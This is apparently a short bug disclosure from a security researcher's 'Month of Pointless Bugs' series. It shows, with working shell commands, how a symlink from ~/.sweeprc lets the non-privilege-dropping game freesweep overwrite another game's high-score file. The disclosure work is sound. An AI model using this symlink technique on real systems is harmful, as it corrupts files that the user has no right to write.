InfoSect's Month of Pointless Bugs (#5)
Dr Silvio Cesare
Bug #5
The game freesweep doesn't drop privs. Yet it accesses files for writing. The following is an example of corrupting the ltris high scores via following a symbolic link in freesweep.
$ ls -la /var/games/ltris.hscr -rw-rw-r-- 1 root games 0 Jan 20 15:41 /var/games/ltris.hscr $ cd ~ $ ln -s /var/games/ltris.hscr .sweeprc $ /usr/games/freesweep -s ... $ ls -la /var/games/ltris.hscr -rw-rw-r-- 1 root games 158 Jan 20 15:41 /var/games/ltris.hscr
Note that the ltris.hscr file size has changed as it has been overwritten with the contents that were destined to ~/.sweeprc.